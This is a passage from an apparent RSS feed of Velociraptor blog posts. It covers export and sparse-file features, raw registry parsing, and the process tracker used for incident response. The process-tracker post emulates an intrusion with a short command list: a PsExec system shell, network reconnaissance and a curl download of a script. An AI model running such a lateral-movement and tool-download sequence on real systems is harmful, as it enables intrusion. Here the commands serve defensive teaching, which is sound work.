&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Our community has spoken though! This is a useful feature!&lt;/p&gt;&#xA;&lt;p&gt;In the latest release exported files from the GUI use the same&#xA;container format as the offline collector and therefore can be&#xA;imported into a different Velociraptor installation seamlessly.&lt;/p&gt;&#xA;&lt;h2 id=&#34;handling-of-sparse-files&#34;&gt;Handling of sparse files&lt;/h2&gt;&#xA;&lt;p&gt;When collecting files from the endpoint using the NTFS accessor we&#xA;quite often encounter sparse files. These are files with large&#xA;unallocated holes in them. The most extreme sparse file is the &lt;a href=&#34;https://www.velociraptor-docs.org/blog/2020/2020-11-13-the-windows-usn-journal-f0c55c9010e/&#34;&gt;USN&#xA;Journal&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/the_usn_journal.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Acquiring the USN journal&#34;&#xA;         width=&#34;1873&#34; height=&#34;597&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;the_usn_journal.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Acquiring the USN journal&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above example the USN journal size is reported to be 1.3Gb but&#xA;in reality only about 40mb is occupied on disk. When collecting this&#xA;file, Velociraptor only collects the real data and marks the file as&#xA;sparse. The Zip file will contains an index file which specifies how&#xA;to reassemble the file into its original form.&lt;/p&gt;&#xA;&lt;p&gt;While Velociraptor stores the file internally in an efficient way,&#xA;when exporting the file for use by other tools, they might expect the&#xA;file to be properly padded out (so that file offsets are correct).&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor now allows the user the choice of exporting an individual&#xA;file in a padded form (with sparse regions padded). This can also be&#xA;applied to the entire Zip export in the GUI.&lt;/p&gt;&#xA;&lt;p&gt;For very large sparse files, it makes no sense to pad so much data out&#xA;(Some USN journal files are in the TB region), so Velociraptor&#xA;implements a limit on padding of very sparse files.&lt;/p&gt;&#xA;&lt;h2 id=&#34;parsing-user-registry-hives&#34;&gt;Parsing User Registry Hives&lt;/h2&gt;&#xA;&lt;p&gt;Many Velociraptor artifacts simply parse keys and values from the&#xA;registry to detect indicators. Velociraptor offers two methods of&#xA;accessing the registry:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using the Windows APIs&lt;/li&gt;&#xA;&lt;li&gt;Employing the built in raw registry parser to parse the hive files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;While the first method is very intuitive and easy to use, it is often&#xA;problematic. Using the APIs requires the user hive to be&#xA;mounted. Normally the user hive is only mounted when a user logs&#xA;in. Therefore querying registry keys in the user hive will only work&#xA;on users that are currently logged in at the time of the check and&#xA;miss other users (which are not currently logged in so their hive is&#xA;not mounted).&lt;/p&gt;&#xA;&lt;p&gt;To illustrate this problem consider the&#xA;&lt;code&gt;Windows.Registry.Sysinternals.Eulacheck&lt;/code&gt; artifact which checks the&#xA;keys in &lt;code&gt;HKEY_USERS\*\Software\Sysinternals\*&lt;/code&gt; for the Sysinternals&#xA;EULA value.&lt;/p&gt;&#xA;&lt;p&gt;In previous versions of Velociraptor, this artifact simply used the&#xA;windows API to check these keys/values and completely missed any users&#xA;that were not logged in.&lt;/p&gt;&#xA;&lt;p&gt;While this issue is know, previously users had to employ complex VQL&#xA;to customize the query so it can search the raw &lt;code&gt;NTUSER.DAT&lt;/code&gt; files in&#xA;each user registry. This is more difficult to maintain since it&#xA;requires two separate types of artifact for the same indicator.&lt;/p&gt;&#xA;&lt;p&gt;With the advent of Velociraptor&amp;rsquo;s &lt;code&gt;dead disk&lt;/code&gt; capabilities it is&#xA;possible to run a VQL query in a &amp;ldquo;virtualized&amp;rdquo; context consisting of a&#xA;remapped environment. The end result is that the same VQL query can be&#xA;used to run on raw registry hives. It is now trivial to apply the same&#xA;generic registry artifact to a raw registry parse.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-11-21-release-notes//blog/2022/2022-11-21-release-notes/raw_registry_mapping.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Remapping the raw registry hive to a regular registry artifact&#34;&#xA;         width=&#34;1324&#34; height=&#34;810&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;raw_registry_mapping.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Remapping the raw registry hive to a regular registry artifact&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;All that is required to add raw registry capabilities to any registry artifact is:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Import the &lt;code&gt;Windows.Registry.NTUser&lt;/code&gt; artifact&lt;/li&gt;&#xA;&lt;li&gt;Use the &lt;code&gt;MapRawRegistryHives&lt;/code&gt; helper function from that artifact to set up the mappings automatically.&lt;/li&gt;&#xA;&lt;li&gt;Call the original registry query using the &lt;code&gt;registry&lt;/code&gt; accessor. In&#xA;the background this will be remapped to the raw registry accessor&#xA;automatically.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;There are many more new features and bug fixes in the latest release.&lt;/p&gt;&#xA;&lt;p&gt;If you like the new features, take &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;Velociraptor for a&#xA;spin&lt;/a&gt;!  It is a available&#xA;on GitHub under an open source license. As always please file issues&#xA;on the bug tracker or ask questions on our mailing list&#xA;&lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt;&#xA;. You can also chat with us directly on discord&#xA;&lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>The Velociraptor process tracker</title>
      <link>https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker/</link>
      <pubDate>Wed, 07 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker/</guid>
      <description>&lt;p&gt;One of the advantages of running Velociraptor on the endpoint&#xA;constantly is the ability to monitor the endpoint using &lt;a href=&#34;https://www.velociraptor-docs.org/docs/clients/monitoring/&#34;&gt;client&#xA;monitoring queries&lt;/a&gt;. Gaining&#xA;visibility to volatile information is critical to reconstructing past&#xA;activity and responding to new threats.&lt;/p&gt;&#xA;&lt;p&gt;Commonly, attackers subvert the endpoint by creating new&#xA;processes. For example, an attacker might execute malicious office&#xA;macros as their initial compromise, but then follow it by launching&#xA;PowerShell or C# code - or commonly Living Off The Land binaries&#xA;(&lt;code&gt;LOLBins&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;We can use information about processes to identify suspicious&#xA;processes which may represent malicious activity. In the next example&#xA;I will explore a typical case and how it can be investigated using&#xA;Velociraptor.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-typical-intrusion&#34;&gt;A Typical intrusion&lt;/h2&gt;&#xA;&lt;p&gt;A common lateral movement methodology is using &lt;code&gt;PsExec.exe&lt;/code&gt; to create&#xA;a system level service (usually remotely). I will run the following commands to emulate typical attacker activities:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;psexec.exe /s powershell&#xA;ping.exe www.google.com&#xA;curl.exe -o script.ps1 https://www.google.com/&#xA;notepad.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;First I create a system level shell with &lt;code&gt;PsExec.exe&lt;/code&gt;, then I perform&#xA;some reconnaissance on the network. Then I download a tool from a&#xA;remote system. Finally I run my malicious process (in this case I use&#xA;&lt;code&gt;notepad.exe&lt;/code&gt; but in real life this will be some backdoor like &lt;code&gt;Cobalt Strike&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;h2 id=&#34;responding-to-this-system&#34;&gt;Responding to this system.&lt;/h2&gt;&#xA;&lt;p&gt;For this example, suppose I was able to identify the malicious process&#xA;(&lt;code&gt;notepad.exe&lt;/code&gt;) using other means (for example the&#xA;&lt;code&gt;Windows.Detection.Yara.Process&lt;/code&gt; artifact by scanning process memory).&lt;/p&gt;&#xA;&lt;p&gt;Now I need to get more context about this process:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where did it come from?&lt;/li&gt;&#xA;&lt;li&gt;Who started it and when?&lt;/li&gt;&#xA;&lt;li&gt;What other activity was done around the time the process was started?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To answer the first question we need to see which process was the&#xA;parent of the malicious process (and construct the full call chain).&lt;/p&gt;&#xA;&lt;p&gt;For this example I will use &lt;a href=&#34;https://processhacker.sourceforge.io/&#34; target=&#34;_blank&#34; &gt;Process&#xA;Hacker&lt;/a&gt; - a very popular GUI&#xA;for inspecting processes.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/process_hacker.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Process Hacker output of our suspicious process&#34;&#xA;         width=&#34;740&#34; height=&#34;723&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;process_hacker.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Process Hacker output of our suspicious process&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Normally Process Hacker displays processes in a tree form - we can see&#xA;which process spawned each process. But in this case, there is no&#xA;parent shown for &lt;code&gt;notepad.exe&lt;/code&gt;. Closer inspection shows that the&#xA;parent process has actually exited, so Process Hacker has no further&#xA;information about it.&lt;/p&gt;&#xA;&lt;p&gt;This limitation of process inspection is central to live triage - the&#xA;API can not provide any information about processes that have already&#xA;exited. Therefore, parent/child relationships are broken.&lt;/p&gt;&#xA;&lt;h2 id=&#34;using-velociraptor-to-gather-process-context&#34;&gt;Using Velociraptor to gather process context&lt;/h2&gt;&#xA;&lt;p&gt;Now, I will use Velociraptor&amp;rsquo;s &lt;code&gt;Generic.System.Pstree&lt;/code&gt; artifact to&#xA;reconstruct the process call chain of all processes on the system. I&#xA;will enable the collection of the process tree visualization.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/collecting_pstree.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting the Process Tree&#34;&#xA;         width=&#34;1174&#34; height=&#34;580&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collecting_pstree.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting the Process Tree&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact collects process call trace information from all&#xA;processes by following their parent/child relationships. I now filter&#xA;the table to just show the &lt;code&gt;notepad.exe&lt;/code&gt; process, and see that the&#xA;process call tree looks very suspicious!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/pstree.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Velociraptors Generic.System.Pstree artifact can clearly show the call chain&#34;&#xA;         width=&#34;1352&#34; height=&#34;557&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;pstree.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Velociraptors Generic.System.Pstree artifact can clearly show the call chain&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s &lt;code&gt;Generic.System.Pstree&lt;/code&gt; artifact clearly shows the full&#xA;call chain - the process was started through a &lt;code&gt;PSEXESVC.exe&lt;/code&gt; service&#xA;and powershell. This additional context shines light on the initial&#xA;intrusion pathway.&lt;/p&gt;&#xA;&lt;h2 id=&#34;viewing-sibling-processes&#34;&gt;Viewing sibling processes&lt;/h2&gt;&#xA;&lt;p&gt;Launching &lt;code&gt;notepad.exe&lt;/code&gt; is the final stage of a more complete attack&#xA;chain. Let&amp;rsquo;s inspect the parent process in our &lt;code&gt;PsTree&lt;/code&gt; collection&#xA;(&lt;code&gt;powershell.exe&lt;/code&gt;) to learn what other sibling processes (to our&#xA;suspicious &lt;code&gt;notepad.exe&lt;/code&gt;) were launched as part of the original attack&#xA;chain.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/powershell.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting the powershell process&#34;&#xA;         width=&#34;1303&#34; height=&#34;349&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;powershell.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting the powershell process&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Clicking the &lt;code&gt;Process Tree&lt;/code&gt; button brings out the new Process Tree&#xA;visualization - rendering all the children of the powershell and their&#xA;respective children.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/powershell_pstree.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Inspecting the full process chain of the powershell process&#34;&#xA;         width=&#34;1234&#34; height=&#34;582&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;powershell_pstree.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Inspecting the full process chain of the powershell process&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As can be clearly seen from this visualization, Velociraptor reports&#xA;seeing the &lt;code&gt;ping.exe&lt;/code&gt; process first, then the &lt;code&gt;curl.exe&lt;/code&gt; process and&#xA;finally the &lt;code&gt;notepad.exe&lt;/code&gt; process. You might also notice that&#xA;&lt;code&gt;curl.exe&lt;/code&gt; as shown in the visualization has already exited by the&#xA;time the process tree was collected!&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-can-velociraptor-show-the-complete-process-call-chain&#34;&gt;How can Velociraptor show the complete process call chain?&lt;/h2&gt;&#xA;&lt;p&gt;The process call chain is very useful for us to gather some important&#xA;context but how does Velociraptor know about processes that have&#xA;already exited? After all the API will not reveal this information&#xA;which is why &lt;code&gt;Process Hacker&lt;/code&gt; can not construct the full call chain?&lt;/p&gt;&#xA;&lt;p&gt;One of the most exciting additions to Velociraptor in recent releases&#xA;was the addition of the &lt;code&gt;process tracker&lt;/code&gt;. The Process tracker is an&#xA;internal tool that keeps track of processes and their children&#xA;continuously. By tracking historical process activity on the end point&#xA;we can answer questions like &lt;code&gt;Which process launched this Process ID?&lt;/code&gt;&#xA;quickly, even if the original parent has already exited - we do not&#xA;need to rely on the API to gather this information.&lt;/p&gt;&#xA;&lt;p&gt;The diagram below illustrates how the process tracker works&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/process_tracker_.svg&#34; alt=&#34;The Velociraptor process tracker architecture&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;&#34;&#xA;         width=&#34;1.0&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;process_tracker.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    The Velociraptor process tracker architecture&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The tracker accepts process information from two potential sources:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An event query to feed it real time process start/end events.&lt;/li&gt;&#xA;&lt;li&gt;A VQL query that runs periodically to refresh the complete state of running processes.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;These are implemented by way of&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The &lt;code&gt;Windows.Events.TrackProcesses&lt;/code&gt; artifact uses ETW to watch for&#xA;the Sysmon Process start events (ID 1) for real time information,&#xA;as well as periodically running a complete &lt;code&gt;pslist()&lt;/code&gt; to&#xA;synchronize its internal state.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;If you do not want to run &lt;code&gt;Sysmon&lt;/code&gt;, you can choose to collect the&#xA;&lt;code&gt;Windows.Events.TrackProcessesBasic&lt;/code&gt; artifact which only refreshes&#xA;the tracker with a periodic &lt;code&gt;pslist()&lt;/code&gt; API call.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;If you do not collect any specialized artifacts to track processes,&#xA;the tracker will fall back to a regular pslist() based dummy&#xA;implementation. This will give the same results as before (i.e. it&#xA;is unable to see previously exited processes) but all process&#xA;tracker VQL commands work as usual.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This means that as an artifact writer you can always use the process&#xA;tracker as a complete substitution to the traditional &lt;code&gt;pslist()&lt;/code&gt;&#xA;plugin! Depending on how the administrator chooses to do the actual&#xA;tracking, your artifact may gain access to more details.&lt;/p&gt;&#xA;&lt;p&gt;While it is preferable to populate the process start events with live&#xA;Sysmon events, it is not strictly necessary. Sysmon feed with provide&#xA;a more accurate real time feed of process start events. While the&#xA;alternative &lt;code&gt;pslist()&lt;/code&gt; style tracking method is very low resource, it&#xA;may miss short lived processes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;accessing-the-tracker-from-vql&#34;&gt;Accessing the tracker from VQL&lt;/h2&gt;&#xA;&lt;p&gt;The tracker is available for use from VQL using the following VQL&#xA;plugins:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;process_tracker_pslist()&lt;/code&gt; This plugin is a drop in replacement for&#xA;the &lt;code&gt;pslist()&lt;/code&gt; plugin. If the tracker is enabled it will also&#xA;contain exited process information.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;process_tracker_callchain()&lt;/code&gt; provides the full call chain for a&#xA;given process ID as an array of process entries.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;process_tracker_get()&lt;/code&gt; Looks up a single Process ID in the tracker&#xA;to return its entry if exists.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;code&gt;process_tracker_tree()&lt;/code&gt; Provides the full process tree rooted at&#xA;the specified process ID so it can be visualized in the GUI.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;comparing-the-process-tracker-to-edr&#34;&gt;Comparing the process tracker to EDR&lt;/h2&gt;&#xA;&lt;p&gt;Collecting process call chains is very central to detection&#xA;engineering and therefore is an integral feature of many EDR&#xA;solutions.&lt;/p&gt;&#xA;&lt;p&gt;Most EDR solutions work by relaying process start events to a central&#xA;location such as a SIEM and then using database queries to reconstruct&#xA;the process call chain from historical data. This also allows viewing&#xA;historical process information.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s design philosophy is endpoint-centric - rather than&#xA;forward all the data to a large backend and query across process start&#xA;events from &lt;strong&gt;ALL&lt;/strong&gt; endpoints, Velociraptor&amp;rsquo;s process tracker limits&#xA;the analysis to the process on the endpoint itself. This naturally&#xA;limits the total number of process we need to track and makes tracking&#xA;much easier because we do not need to query across the entire data set&#xA;for all clients.&lt;/p&gt;&#xA;&lt;h2 id=&#34;process-tracker-challenges&#34;&gt;Process Tracker challenges&lt;/h2&gt;&#xA;&lt;p&gt;The following describes some of the issues in implementation of the&#xA;process tracker we have found (so far).&lt;/p&gt;&#xA;&lt;h3 id=&#34;process-id-reuse&#34;&gt;Process ID reuse&lt;/h3&gt;&#xA;&lt;p&gt;While in theory process IDs uniquely identify a process, in reality&#xA;(at least on Windows) process ID&amp;rsquo;s are reused aggressively. Accounting&#xA;for this is not trivial - For example, if a new process is discovered&#xA;with a parent ID of 5, we can not just search for a process with ID 5&#xA;as it&amp;rsquo;s parent. Since this ID could have been reused and belong to a&#xA;completely new process.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor&amp;rsquo;s tracker keeps track of reused process ID&amp;rsquo;s by using the&#xA;combination of process ID and start time to uniquely identify the&#xA;process. If the tracker detects a process has exited, it renames the&#xA;old process in the form of &lt;code&gt;pid-starttime&lt;/code&gt; while creating a new&#xA;process entry in the usual form of &lt;code&gt;pid&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/pid-reuse.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Pid reuse causes process ID’s to be suffixed with their start time&#34;&#xA;         width=&#34;1148&#34; height=&#34;383&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;pid-reuse.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Pid reuse causes process ID’s to be suffixed with their start time&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices note&#34;&gt;&#xA;  &lt;div heading=&#34; Why not use a GUID? &#34;&gt;&lt;p&gt;Other tools use a unique identifier such as a &lt;code&gt;GUID&lt;/code&gt; to uniquely&#xA;identify a process. For example, &lt;code&gt;Sysmon&lt;/code&gt; derives a GUID based on&#xA;process ID, start time, machine id etc to derive a globally unique&#xA;identifier to a process.&lt;/p&gt;&#xA;&lt;p&gt;While a GUID solves the issue of uniquely identifying a process within&#xA;a single tool it is not a useful device for Velociraptor&amp;rsquo;s queries,&#xA;which typically enrich data from external sources.&lt;/p&gt;&#xA;&lt;p&gt;For example, if we used &lt;code&gt;GUID&lt;/code&gt; to uniquely identify processes in the&#xA;tracker, a VQL query is unable to enrich the DNS ETW source with&#xA;process call chains. The ETW subsystem only provides a Process ID as&#xA;an indicator of the process that made the DNS query. There is no way&#xA;for Velociraptor to go from a process ID to a unique &lt;code&gt;GUID&lt;/code&gt; directly&#xA;(precisely because a &lt;code&gt;PID&lt;/code&gt; by itself is missing critical data that&#xA;makes it a unique identifier).&lt;/p&gt;&#xA;&lt;p&gt;Therefore Velociraptor&amp;rsquo;s tracker retains the process ID in the tracker&#xA;as the ultimate key by which we can query for a process. This way we&#xA;can always convert a PID to a proper call chain without being confused&#xA;by PID reuse. When the tracker detects the ID no longer represents the&#xA;process uniquely (i.e. the PID has been reused) the tracker can update&#xA;the ID and all references to it automatically, so a search for the&#xA;same PID will fetch the new process not the old one.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;what-is-stored-in-the-process-tracker&#34;&gt;What is stored in the process tracker.&lt;/h2&gt;&#xA;&lt;p&gt;The Velociraptor Process Tracker is simply a database that stores&#xA;information about each process. The process entry in the tracker can&#xA;contain any arbitrary data as populated from the process information&#xA;queries. For example, when using Sysmon as the process start source,&#xA;we can populate the tracker with quite a lot of additional information&#xA;such as executable hashes, original executable name etc.&lt;/p&gt;&#xA;&lt;p&gt;We can choose to add additional enrichment to store in the tracker by&#xA;enabling the &lt;code&gt;AddEnrichments&lt;/code&gt; parameter when configuring the&#xA;&lt;code&gt;Windows.Events.TrackProcesses&lt;/code&gt; artifact. These may increase the&#xA;overall load on the endpoint (due to the additional work in&#xA;calculating hashes etc) but will provide better quality data in a&#xA;response.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2022/2022-08-17-process-tracker//blog/2022/2022-08-17-process-tracker/enrichment.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Enriching tracked process information&#34;&#xA;         width=&#34;1097&#34; height=&#34;642&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;enrichment.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Enriching tracked process information&#xA;  